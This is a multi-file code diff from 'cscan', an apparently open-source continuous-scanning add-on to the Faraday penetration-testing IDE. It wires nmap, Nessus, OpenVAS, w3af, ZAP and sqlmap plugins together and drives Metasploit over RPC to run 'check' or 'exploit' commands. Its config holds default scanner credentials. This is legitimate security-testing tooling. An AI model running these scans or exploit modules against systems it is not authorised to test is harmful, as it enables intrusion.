375 | '\nTable: ' + columns[0][1] + | |
532 | 'Db: ' + brute_columns[0][0] + | |
533 | '\nTable: ' + brute_columns[0][1] + | |
376 | 534 | '\nColumns:') |
377 | 535 | |
378 | for element in columns: | |
536 | for element in brute_columns: | |
379 | 537 | text += str(element[2]) + '\n' |
380 | 538 | |
381 | 539 | self.createAndAddNoteToService( |
398 | 556 | h_id, |
399 | 557 | s_id2, |
400 | 558 | "db.databases", |
401 | str(dbs)) | |
559 | '\n'.join(dbs)) | |
402 | 560 | |
403 | 561 | for inj in self.hashDBRetrieve(self.HASHDB_KEYS.KB_INJECTIONS, True, db) or []: |
404 | 562 | |
440 | 598 | |
441 | 599 | if args.u: |
442 | 600 | |
443 | if args.u.find('http://') < 0 or args.u.find('https://') < 0: | |
601 | if args.u.find('http://') < 0 and args.u.find('https://') < 0: | |
444 | 602 | urlComponents = urlparse('http://' + args.u) |
445 | 603 | else: |
446 | 604 | urlComponents = urlparse(args.u) |
447 | 605 | |
448 | self.protocol = urlComponents.scheme | |
606 | self.protocol = urlComponents.scheme | |
449 | 607 | self.hostname = urlComponents.netloc |
450 | 608 | |
451 | 609 | if urlComponents.port: |
5 | 5 | ### |
6 | 6 | |
7 | 7 | config = { |
8 | #Default setup | |
9 | 'CS_CATEGORIES': 'network,web', | |
10 | 'CS_SCRIPTS': 'nmap.sh,openvas.sh,nikto.sh,nessus.sh,w3af.sh', | |
8 | 11 | #NMAP |
9 | 12 | 'CS_NMAP' : "nmap", |
13 | 'CS_NMAP_ARGS' : "-O", | |
10 | 14 | #OPENVAS |
11 | 15 | 'CS_OPENVAS_USER' : 'admin', |
12 | 16 | 'CS_OPENVAS_PASSWORD' : 'openvas', |
17 | 21 | 'CS_BURP' : '/root/tools/burpsuite_pro_v1.6.26.jar', |
18 | 22 | #NIKTO |
19 | 23 | 'CS_NIKTO' : "nikto", |
24 | 'CS_NIKTO_ARGS' : "", | |
20 | 25 | #W3AF |
21 | 26 | 'CS_W3AF' : "/root/tools/w3af/w3af_api", |
22 | 27 | 'CS_W3AF_PROFILE' : "/root/tools/w3af/profiles/fast_scan.pw3af", |
27 | 32 | 'CS_NESSUS_USER' : "nessus", |
28 | 33 | 'CS_NESSUS_PASS' : "nessus", |
29 | 34 | 'CS_NESSUS_PROFILE' : "Basic Network Scan", |
35 | # MSFRPC | |
36 | 'CS_MSF_TMP_WS' : 'enabled', | |
37 | 'CS_MSF_EXPORT' : 'enabled', | |
30 | 38 | } |
31 |
12 | 12 | from config import config |
13 | 13 | |
14 | 14 | def lockFile(lockfile): |
15 | ||
16 | 15 | if os.path.isfile(lockfile): |
17 | 16 | return False |
18 | 17 | else: |
20 | 19 | f.close() |
21 | 20 | return True |
22 | 21 | |
22 | def target_list(script, categories): | |
23 | dictionary = { | |
24 | "network": "ips.txt", | |
25 | "web": "websites.txt", | |
26 | "extra": "ips.txt" | |
27 | } | |
28 | ||
29 | category = 'network' | |
30 | for c in categories: | |
31 | if os.path.exists(os.path.join('scripts', c, script)): | |
32 | return dictionary[c] | |
33 | ||
23 | 34 | def main(): |
24 | ||
25 | 35 | lockf = ".lock.pod" |
26 | 36 | if not lockFile(lockf): |
27 | 37 | print "You can run only one instance of cscan (%s)" % lockf |
30 | 40 | my_env = os.environ |
31 | 41 | env = config.copy() |
32 | 42 | env.update(my_env) |
33 | #Parser argument in command line | |
43 | ||
34 | 44 | parser = argparse.ArgumentParser(description='continues scanning on Faraday') |
35 | parser.add_argument('-p','--plugin', help='Scan only the following plugin ej: ./cscan.py -p nmap.sh', required=False) | |
45 | parser.add_argument('-s','--script', help='Scan only the following script ej: ./cscan.py -p nmap.sh', required=False) | |
46 | parser.add_argument('-S','--scripts', help='Scan the following scripts list ej: ./cscan.py -p nmap.sh,nikto.sh', required=False) | |
47 | parser.add_argument('-c','--category', help='Scan only for given category ej: ./cscan.py -c network', required=False) | |
48 | parser.add_argument('-t','--targets', help='Choose a custom target list ej: ./cscan.py -t custom-list.txt', required=False) | |
49 | parser.add_argument('-o','--output', help='Choose a custom output directory', required=False) | |
50 | parser.add_argument('-l','--log', help='Choose a custom log directory', required=False) | |
36 | 51 | args = parser.parse_args() |
37 | 52 | |
38 | for dirpath, dnames, fnames in os.walk("./scripts/web/"): | |
39 | for f in fnames: | |
40 | if args.plugin and args.plugin != f: | |
41 | continue | |
42 | script = os.path.join(dirpath, f) | |
43 | cmd = "%s websites.txt output/" % (script) | |
44 | print "Running: %s" % cmd | |
45 | proc = subprocess.call(cmd, shell=True, stdin=None, stderr=subprocess.PIPE, env=dict(env)) | |
53 | output = 'output/' | |
54 | if args.output: | |
55 | output = args.output | |
46 | 56 | |
47 | for dirpath, dnames, fnames in os.walk("./scripts/network/"): | |
48 | for f in fnames: | |
49 | if args.plugin and args.plugin != f: | |
50 | continue | |
51 | script = os.path.join(dirpath, f) | |
52 | cmd = "%s ips.txt output/" % (script) | |
53 | print "Running: %s" % cmd | |
54 | proc = subprocess.call(cmd, shell=True, stdin=None, stderr=subprocess.PIPE, env=dict(env)) | |
57 | logdir = 'log/' | |
58 | if args.log: | |
59 | logdir = args.log | |
55 | 60 | |
56 | #Remove lockfile | |
61 | for d in [logdir, output]: | |
62 | if not os.path.isdir(d): | |
63 | os.makedirs(d) | |
64 | ||
65 | if args.script: | |
66 | scripts = [args.script] | |
67 | elif args.scripts: | |
68 | scripts = args.scripts.split(",") | |
69 | else: | |
70 | scripts = env["CS_SCRIPTS"].split(",") | |
71 | ||
72 | categories = env["CS_CATEGORIES"].split(",") | |
73 | for category in categories: | |
74 | env["PATH"] += ":%s" % os.path.abspath("./scripts/" + category) | |
75 | ||
76 | for script in scripts: | |
77 | if args.targets: | |
78 | targets = args.targets | |
79 | else: | |
80 | targets = target_list(script, categories) | |
81 | ||
82 | cmd = "%s %s %s %s" % (script, targets, output, logdir) | |
83 | print "\n\nRunning: %s" % cmd | |
84 | proc = subprocess.call(cmd, shell=True, stdin=None, env=dict(env)) | |
85 | ||
86 | #Remove lockfile | |
57 | 87 | os.remove(lockf) |
58 | 88 | |
59 | 89 | if __name__ == "__main__": |
60 | main()⏎ | |
90 | main() |
0 | <?xml version="1.0" encoding="UTF-8"?> | |
1 | <!DOCTYPE nmaprun> | |
2 | <?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?> | |
3 | <!-- Nmap 6.49BETA4 scan initiated Wed Sep 23 02:45:41 2015 as: nmap -iL ips.txt -oX output/nmap_1442987141.xml --> | |
4 | <nmaprun scanner="nmap" args="nmap -iL ips.txt -oX output/nmap_1442987141.xml" start="1442987141" startstr="Wed Sep 23 02:45:41 2015" version="6.49BETA4" xmloutputversion="1.04"> | |
5 | <scaninfo type="syn" protocol="tcp" numservices="1000" services="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389"/> | |
6 | <verbose level="0"/> | |
7 | <debugging level="0"/> | |
8 | <host starttime="1442987141" endtime="1442987142"><status state="up" reason="localhost-response" reason_ttl="0"/> | |
9 | <address addr="127.0.0.1" addrtype="ipv4"/> | |
10 | <hostnames> | |
11 | <hostname name="localhost" type="PTR"/> | |
12 | </hostnames> | |
13 | <ports><extraports state="closed" count="998"> | |
14 | <extrareasons reason="resets" count="998"/> | |
15 | </extraports> | |
16 | <port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="ssh" method="table" conf="3"/></port> | |
17 | <port protocol="tcp" portid="5432"><state state="open" reason="syn-ack" reason_ttl="64"/><service name="postgresql" method="table" conf="3"/></port> | |
18 | </ports> | |
19 | <times srtt="3" rttvar="1" to="100000"/> | |
20 | </host> | |
21 | <runstats><finished time="1442987142" timestr="Wed Sep 23 02:45:42 2015" elapsed="1.69" summary="Nmap done at Wed Sep 23 02:45:42 2015; 1 IP address (1 host up) scanned in 1.69 seconds" exit="success"/><hosts up="1" down="0" total="1"/> | |
22 | </runstats> | |
23 | </nmaprun> |
0 | #!/usr/bin/env python2 | |
1 | ||
2 | import os | |
3 | import time | |
4 | import string | |
5 | import random | |
6 | import argparse | |
7 | import msgpack | |
8 | import httplib | |
9 | import ssl | |
10 | ||
11 | ||
12 | class Msfrpc: | |
13 | """ Msfrpc class from https://github.com/SpiderLabs/msfrpc """ | |
14 | ||
15 | class MsfError(Exception): | |
16 | def __init__(self, msg): | |
17 | self.msg = msg | |
18 | ||
19 | def __str__(self): | |
20 | return repr(self.msg) | |
21 | ||
22 | class MsfAuthError(MsfError): | |
23 | def __init__(self, msg): | |
24 | self.msg = msg | |
25 | ||
26 | def __init__(self, opts=[]): | |
27 | self.host = opts.get("host") or "127.0.0.1" | |
28 | self.port = opts.get("port") or 55552 | |
29 | self.uri = opts.get("uri") or "/api/" | |
30 | self.ssl = opts.get("ssl") or False | |
31 | self.authenticated = False | |
32 | self.token = False | |
33 | self.headers = {"Content-type": "binary/message-pack"} | |
34 | if self.ssl: | |
35 | self.client = httplib.HTTPSConnection(self.host, self.port, context=ssl._create_unverified_context()) | |
36 | else: | |
37 | self.client = httplib.HTTPConnection(self.host, self.port) | |
38 | ||
39 | def encode(self, data): | |
40 | return msgpack.packb(data) | |
41 | ||
42 | def decode(self, data): | |
43 | return msgpack.unpackb(data) | |
44 | ||
45 | def call(self, meth, opts=[]): | |
46 | if meth != "auth.login": | |
47 | if not self.authenticated: | |
48 | raise self.MsfAuthError("MsfRPC: Not Authenticated") | |
49 | opts.insert(0, self.token) | |
50 | ||
51 | opts.insert(0, meth) | |
52 | params = self.encode(opts) | |
53 | self.client.request("POST", self.uri,params, self.headers) | |
54 | resp = self.client.getresponse() | |
55 | return self.decode(resp.read()) | |
56 | ||
57 | def login(self, user, password): | |
58 | ret = self.call("auth.login", [user, password]) | |
59 | if ret.get("result") == "success": | |
60 | self.authenticated = True | |
61 | self.token = ret.get("token") | |
62 | return True | |
63 | else: | |
64 | raise self.MsfAuthError("MsfRPC: Authentication failed") | |
65 | ||
66 | ||
67 | class CscanMsf: | |
68 | """ msfrpc plugin for cscan """ | |
69 | def __init__(self, client, logfile=False, quiet=False): | |
70 | self.logfile = logfile | |
71 | self.cid = None | |
72 | self.quiet = quiet | |
73 | self.client = client | |
74 | ||
75 | def check_auth(self): | |
76 | if not self.client or not self.client.authenticated: | |
77 | self.log("ERROR: You are not authenticated..", True) | |
78 | return False | |
79 | return True | |
80 | ||
81 | def log(self, msg, critical=False): | |
82 | if self.logfile: | |
83 | logfile = open(self.logfile, "a") | |
84 | logfile.write("%s\n" % msg) | |
85 | logfile.close() | |
86 | if not self.quiet or critical: | |
87 | print msg | |
88 | ||
89 | def rpc_call(self, meth, opts, key=""): | |
90 | if self.check_auth(): | |
91 | res = self.client.call(meth, opts) | |
92 | ||
93 | if "error" in res: | |
94 | self.log("ERROR: %s %s" % (res.get("error_code"), res.get("error_message")), True) | |
95 | self.log("%s: %s\n%s" % (res.get("error_class"), res.get("error_string"), res.get("error_backtrace"))) | |
96 | return res | |
97 | return res if not key else res.get(key) | |
98 | ||
99 | def create_console(self): | |
100 | self.cid = self.rpc_call("console.create", [{}], "id") | |
101 | self.rpc_call("console.read", [self.cid]) | |
102 | self.log("Created console ID " + str(self.cid), True) | |
103 | return self.cid | |
104 | ||
105 | def destroy_console(self): | |
106 | self.log("Destroy console ID %s.. %s" % (self.cid, self.rpc_call("console.destroy", | |
107 | [self.cid], "result")), True) | |
108 | ||
109 | def create_ws(self, ws, switch=False): | |
110 | self.log("Create %s workspace.. %s" % (ws, self.rpc_call("db.add_workspace", [ws], "result")), True) | |
111 | if switch: | |
112 | self.set_ws(ws) | |
113 | return ws | |
114 | ||
115 | def set_ws(self, ws): | |
116 | self.log("Switch to %s workspace.. %s" % (ws, self.rpc_call("db.set_workspace", [ws], "result")), True) | |
117 | ||
118 | def destroy_ws(self, ws): | |
119 | self.log("Delete %s workspace.. %s" % (ws, self.rpc_call("db.del_workspace", [ws], "result")), True) | |
120 | ||
121 | def import_xml_data(self, ws, xml): | |
122 | content = open(xml, "r").read() | |
123 | self.log("Importing data from %s.. %s" % (xml, self.rpc_call("db.import_data", [{"workspace": ws, | |
124 | "data": content}], "result")), True) | |
125 | ||
126 | def export_current_ws(self, out): | |
127 | self.log("Exporting workspace..", True) | |
128 | self.rpc_call("console.write", [self.cid, "db_export %s\r\n" % out]) | |
129 | ||
130 | while True: | |
131 | time.sleep(5) | |
132 | res = self.rpc_call("console.read", [self.cid]) | |
133 | if res.get("data"): | |
134 | self.log("%s %s" % (res.get("prompt"), res.get("data"))) | |
135 | if "Finished export" in res.get("data"): | |
136 | return True | |
137 | ||
138 | def wait_for_jobs(self): | |
139 | while True: | |
140 | job_list = self.rpc_call("job.list", []) | |
141 | self.log("Current jobs: %s (Total: %d)" % (",".join(job_list), len(job_list)), True) | |
142 | if len(job_list) > 0: | |
143 | for j in job_list: | |
144 | jinfo = self.rpc_call("job.info", [j]) | |
145 | self.log("%s - %s" % (jinfo.get("jid"), jinfo.get("name")), True) | |
146 | else: | |
147 | return True | |
148 | time.sleep(10) | |
149 | ||
150 | def run_commands(self, commands): | |
151 | self.log("Deploy following commands: \n%s" % " msf> " + "\n msf> ".join(commands), True) | |
152 | self.rpc_call("console.write", [self.cid, "\n".join(commands)]) | |
153 | self.rpc_call("console.write", [self.cid, "set PROMPT commands_deployed\r\n"]) | |
154 | ||
155 | while True: | |
156 | time.sleep(2) | |
157 | res = self.rpc_call("console.read", [self.cid]) | |
158 | if res.get("data"): | |
159 | self.log("%s %s" % (res.get("prompt"), res.get("data"))) | |
160 | if "commands_deployed" in res["prompt"] and not res["busy"]: | |
161 | self.rpc_call("console.write", [self.cid, "set PROMPT msfcscan\r\n"]) | |
162 | break | |
163 | ||
164 | def banner(args, cws="unknown"): | |
165 | return """ _____________________________________________________ | |
166 | | ____ ___________________________________________ | | |
167 | | | | \/ |/ ___| ___/ __ \ | | | |
168 | | | | . . |\ `--.| |_ | / \/___ ___ __ _ _ __ | | | |
169 | | | | |\/| | `--. \ _| | | / __|/ __/ _` | '_ \ | | | |
170 | | | | | | |/\__/ / | | \__/\__ \ (_| (_| | | | | | | | |
171 | | | \_| |_/\____/\_| \____/___/\___\__,_|_| |_| | | | |
172 | | | _____ ______ ______ _____ ______ ______ _____ | | | |
173 | | | |_____|______|______|_____|______|______|_____| |_| | |
174 | | | | |
175 | | | Arguments: Current workspace: %s | |
176 | | | > Temp workspace: %s | |
177 | | | > Quiet mode: %s | |
178 | | | > Command: %s | |
179 | | | > Resource: %s | |
180 | | | > Options: %s | |
181 | | | > Modules: %s | |
182 | |_| > XML import: %s | |
183 | > Log file: %s | |
184 | > Output file: %s | |
185 | ||
186 | """ % ( | |
187 | cws, | |
188 | "enabled" if not args.disable_tmp_ws else "disabled", | |
189 | "enabled" if args.quiet else "disabled", | |
190 | args.command, | |
191 | args.resource, | |
192 | "\n | | --> " + args.options.replace(":", "\n | | --> ") if args.options else None, | |
193 | "\n | | --> " + args.modules.replace(",", "\n | | --> ") if args.modules else None, | |
194 | args.xml, | |
195 | args.log, | |
196 | args.output | |
197 | ) | |
198 | ||
199 | ||
200 | def main(): | |
201 | parser = argparse.ArgumentParser(description="msfrpc cscan plugin, for automated security testing") | |
202 | parser.add_argument("-H","--msfrpc-host", help="Override MSFRPC_HOST envvar", required=False) | |
203 | parser.add_argument("-P","--msfrpc-port", help="Override MSFRPC_PORT envvar", required=False) | |
204 | parser.add_argument("-u","--msfrpc-user", help="Override MSFRPC_USER envvar", required=False) | |
205 | parser.add_argument("-p","--msfrpc-pass", help="Override MSFRPC_PASS envvar", required=False) | |
206 | parser.add_argument("-S","--msfrpc-ssl", help="Override MSFRPC_SSL envvar", required=False, action="store_true") | |
207 | parser.add_argument("-U","--msfrpc-uri", help="Override MSFRPC_URI envvar", required=False) | |
208 | ||
209 | parser.add_argument("-o","--output", help="Output file", required=False) | |
210 | parser.add_argument("-l","--log", help="Log file", required=False) | |
211 | parser.add_argument("-x","--xml", help="XML to import in temp workspace", required=False) | |
212 | parser.add_argument("-m","--modules", help="Modules to use", required=False) | |
213 | parser.add_argument("-r","--resource", help="Resource to execute", required=False) | |
214 | parser.add_argument("-O","--options", help="Modules options", required=False) | |
215 | parser.add_argument("-c","--command", help="Command to execute (check, run, exploit)", default="check") | |
216 | parser.add_argument("-T","--disable-tmp-ws", help="Do not create temp workspace and use current", required=False, action="store_true") | |
217 | parser.add_argument("-q","--quiet", help="Quiet mode, set -l options to have log in a file", required=False, action="store_true") | |
218 | ||
219 | args = parser.parse_args() | |
220 | try: | |
221 | client = Msfrpc({ | |
222 | "host": args.msfrpc_host if args.msfrpc_host else os.environ.get("MSFRPC_HOST"), | |
223 | "port": args.msfrpc_port if args.msfrpc_port else os.environ.get("MSFRPC_PORT"), | |
224 | "uri": args.msfrpc_uri if args.msfrpc_uri else os.environ.get("MSFRPC_URI"), | |
225 | "ssl": args.msfrpc_ssl if args.msfrpc_ssl else os.environ.get("MSFRPC_SSL") == 'true' | |
226 | }) | |
227 | client.login(args.msfrpc_user if args.msfrpc_user else os.environ.get("MSFRPC_USER"), | |
228 | args.msfrpc_pass if args.msfrpc_pass else os.environ.get("MSFRPC_PASS")) | |
229 | except: | |
230 | print "ERROR: Cannot connect to server.." | |
231 | exit(1) | |
232 | ||
233 | cscan = CscanMsf(client, args.log, args.quiet) | |
234 | commands = [] | |
235 | tmp_ws = None | |
236 | current_ws = cscan.rpc_call("db.current_workspace", [], "workspace") | |
237 | ||
238 | print banner(args, current_ws) | |
239 | cscan.create_console() | |
240 | ||
241 | if not args.disable_tmp_ws and os.environ.get("CS_MSF_TMP_WS") == "enabled": | |
242 | tmp_ws = "cscan_" + "".join(random.sample(string.lowercase,6)) | |
243 | cscan.create_ws(tmp_ws, True) | |
244 | if args.xml: | |
245 | cscan.import_xml_data(tmp_ws, args.xml) | |
246 | ||
247 | if args.options: | |
248 | for option in args.options.split(":"): | |
249 | commands.append("setg " + option.replace("=", " ")) | |
250 | if args.modules: | |
251 | for module in args.modules.split(","): | |
252 | commands.append("use " + module) | |
253 | commands.append("show options") | |
254 | commands.append(args.command) | |
255 | elif args.resource: | |
256 | commands.append("resource " + args.resource) | |
257 | ||
258 | commands.append("\r\n") | |
259 | cscan.run_commands(commands) | |
260 | cscan.wait_for_jobs() | |
261 | ||
262 | if os.environ.get("CS_MSF_EXPORT") == "enabled" and args.output: | |
263 | cscan.export_current_ws(args.output) | |
264 | ||
265 | cscan.destroy_console() | |
266 | ||
267 | if tmp_ws: | |
268 | cscan.set_ws(current_ws) | |
269 | cscan.destroy_ws(tmp_ws) | |
270 | ||
271 | if __name__ == "__main__": | |
272 | main() |
0 | #!/usr/bin/env python | |
0 | #!/usr/bin/env python2 | |
1 | 1 | ### |
2 | 2 | ## Faraday Penetration Test IDE |
3 | 3 | ## Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/) |
20 | 20 | verify = False |
21 | 21 | token = '' |
22 | 22 | |
23 | ||
23 | 24 | def build_url(resource): |
24 | 25 | return '{0}{1}'.format(url, resource) |
25 | 26 | |
260 | 261 | |
261 | 262 | if __name__ == "__main__": |
262 | 263 | parser = argparse.ArgumentParser(description='nessus_client is develop for automating security testing') |
263 | parser.add_argument('-t','--target', help='Network or Host for scan', required=False) | |
264 | parser.add_argument('-o','--output', help='Output file', required=False) | |
264 | parser.add_argument('-t', '--target', help='Network or Host for scan', required=False) | |
265 | parser.add_argument('-o', '--output', help='Output file', required=False) | |
265 | 266 | args = parser.parse_args() |
266 | 267 | |
267 | 268 | # Review de Command input |
268 | if args.target == None or args.output == None: | |
269 | print "Argument errors check -h" | |
270 | exit(0) | |
269 | if args.target is None or args.output is None: | |
270 | print "Argument errors check -h" | |
271 | exit(0) | |
271 | 272 | |
272 | 273 | print('Login') |
273 | 274 | try: |
276 | 277 | print "Unexpected error:", sys.exc_info()[0] |
277 | 278 | raise |
278 | 279 | |
279 | ||
280 | 280 | print('Adding new scan.' + token) |
281 | 281 | print args.target |
282 | ||
282 | ||
283 | 283 | policies = get_policies() |
284 | 284 | policy_id = policies[profile] |
285 | 285 | scan_data = add('CScan nessus', 'Create a new scan with API', args.target, policy_id) |
289 | 289 | scan_uuid = launch(scan_id) |
290 | 290 | history_ids = get_history_ids(scan_id) |
291 | 291 | history_id = history_ids[scan_uuid] |
292 | while status(scan_id, history_id) not in ('completed','canceled'): | |
292 | while status(scan_id, history_id) not in ('completed', 'canceled'): | |
293 | 293 | time.sleep(5) |
294 | ||
295 | 294 | |
296 | 295 | print('Exporting the completed scan.') |
297 | 296 | file_id = export(scan_id, history_id) |
302 | 301 | delete(scan_id) |
303 | 302 | |
304 | 303 | print('Logout') |
305 | logout() | |
304 | logout() |
0 | #!/usr/bin/env python | |
1 | ### | |
2 | ## Faraday Penetration Test IDE | |
3 | ## Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/) | |
4 | ## See the file 'doc/LICENSE' for the license information | |
5 | ### | |
0 | #!/usr/bin/env python2 | |
1 | ||
2 | # Faraday Penetration Test IDE | |
3 | # Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/) | |
4 | # See the file 'doc/LICENSE' for the license information | |
6 | 5 | |
7 | 6 | from w3af_api_client import Connection, Scan |
8 | 7 | import subprocess |
14 | 13 | import atexit |
15 | 14 | child_pid = None |
16 | 15 | |
16 | ||
17 | 17 | def kill_child(): |
18 | 18 | global child_pid |
19 | 19 | if child_pid is None: |
20 | 20 | pass |
21 | 21 | else: |
22 | 22 | os.kill(child_pid, signal.SIGTERM) |
23 | ||
23 | 24 | |
24 | 25 | def main(): |
25 | 26 | atexit.register(kill_child) |
28 | 29 | cmd = my_env["CS_W3AF"] if 'CS_W3AF' in my_env else "/root/tools/w3af/w3af_api" |
29 | 30 | profile = my_env["CS_W3AF_PROFILE"] if 'CS_W3AF_PROFILE' in my_env else "/root/tools/w3af/profiles/fast_scan.pw3af" |
30 | 31 | |
31 | #Parser argument in command line | |
32 | # Parser argument in command line | |
32 | 33 | parser = argparse.ArgumentParser(description='w3af_client is develop for automating security testing') |
33 | parser.add_argument('-t','--target', help='Network or Host for scan', required=False) | |
34 | parser.add_argument('-o','--output', help='Output file', required=False) | |
34 | parser.add_argument('-t', '--target', help='Network or Host for scan', required=False) | |
35 | parser.add_argument('-o', '--output', help='Output file', required=False) | |
35 | 36 | args = parser.parse_args() |
36 | 37 | |
37 | if args.target == None or args.output == None: | |
38 | print "Argument errors check -h" | |
39 | exit(0) | |
38 | if args.target is None or args.output is None: | |
39 | print "Argument errors check -h" | |
40 | exit(0) | |
40 | 41 | |
41 | 42 | print 'Starting w3af api ...' |
42 | 43 | global child_pid |
51 | 52 | print conn.get_version() |
52 | 53 | |
53 | 54 | # Define the target and configuration |
54 | #scan_profile = file('/root/tools/w3af/profiles/fast_scan_xml.pw3af').read() | |
55 | # scan_profile = file('/root/tools/w3af/profiles/fast_scan_xml.pw3af').read() | |
55 | 56 | scan_profile = file(profile).read() |
56 | 57 | scan_profile = "[output.xml_file]\noutput_file = %s\n%s\n" % (args.output, scan_profile ) |
57 | 58 | # scan_profile = file('/root/tools/w3af/profiles/fast_scan.pw3af').read() |
72 | 73 | time.sleep(2) |
73 | 74 | |
74 | 75 | if __name__ == "__main__": |
75 | main()⏎ | |
76 | main() |
0 | #!/usr/bin/env python | |
0 | #!/usr/bin/env python2 | |
1 | 1 | ### |
2 | 2 | ## Faraday Penetration Test IDE |
3 | 3 | ## Copyright (C) 2015 Infobyte LLC (http://www.infobytesec.com/) |
18 | 18 | import atexit |
19 | 19 | child_pid = None |
20 | 20 | |
21 | ||
21 | 22 | def kill_child(): |
22 | 23 | global child_pid |
23 | 24 | if child_pid is None: |
24 | 25 | pass |
25 | 26 | else: |
26 | 27 | os.kill(child_pid, signal.SIGTERM) |
28 | ||
27 | 29 | |
28 | 30 | def is_http_url(page): |
29 | 31 | """ |
36 | 38 | else: |
37 | 39 | return False |
38 | 40 | |
41 | ||
39 | 42 | def exportfile(filename,zap): |
43 | ||
40 | 44 | #Output for XML Report |
41 | 45 | print 'Generating XML Report...' |
42 | filex=open(filename, 'w') | |
46 | filex = open(filename, 'w') | |
43 | 47 | filex.write(zap.core.xmlreport) |
44 | filex.close() | |
48 | filex.close() | |
49 | ||
45 | 50 | |
46 | 51 | def main(): |
47 | 52 | |
50 | 55 | my_env = os.environ |
51 | 56 | cmd = my_env["CS_ZAP"] if 'CS_ZAP' in my_env else "/usr/share/zaproxy/zap.sh" |
52 | 57 | |
53 | #Parser argument in command line | |
58 | # Parser argument in command line | |
54 | 59 | parser = argparse.ArgumentParser(description='PyZap is develop for automating security testing') |
55 | parser.add_argument('-t','--target', help='Network or Host for scan', required=False) | |
56 | parser.add_argument('-o','--output', help='Output file', required=False) | |
60 | parser.add_argument('-t', '--target', help='Network or Host for scan', required=False) | |
61 | parser.add_argument('-o', '--output', help='Output file', required=False) | |
57 | 62 | args = parser.parse_args() |
58 | 63 | |
59 | 64 | # Review de Command input |
60 | if args.target == None: | |
65 | if args.target is None: | |
61 | 66 | # Do nothing |
62 | 67 | # Input data for test |
63 | 68 | target = raw_input('[+] Enter your target: ') |
64 | if is_http_url(target) == True: | |
69 | if is_http_url(target) is True: | |
65 | 70 | print '[-] Target selected: ', target |
66 | 71 | else: |
67 | 72 | print '[w] Please type a correct URL address' |
68 | 73 | quit() |
69 | 74 | else: |
70 | 75 | # Check for valid URL addres |
71 | if is_http_url(args.target) == True: | |
76 | if is_http_url(args.target) is True: | |
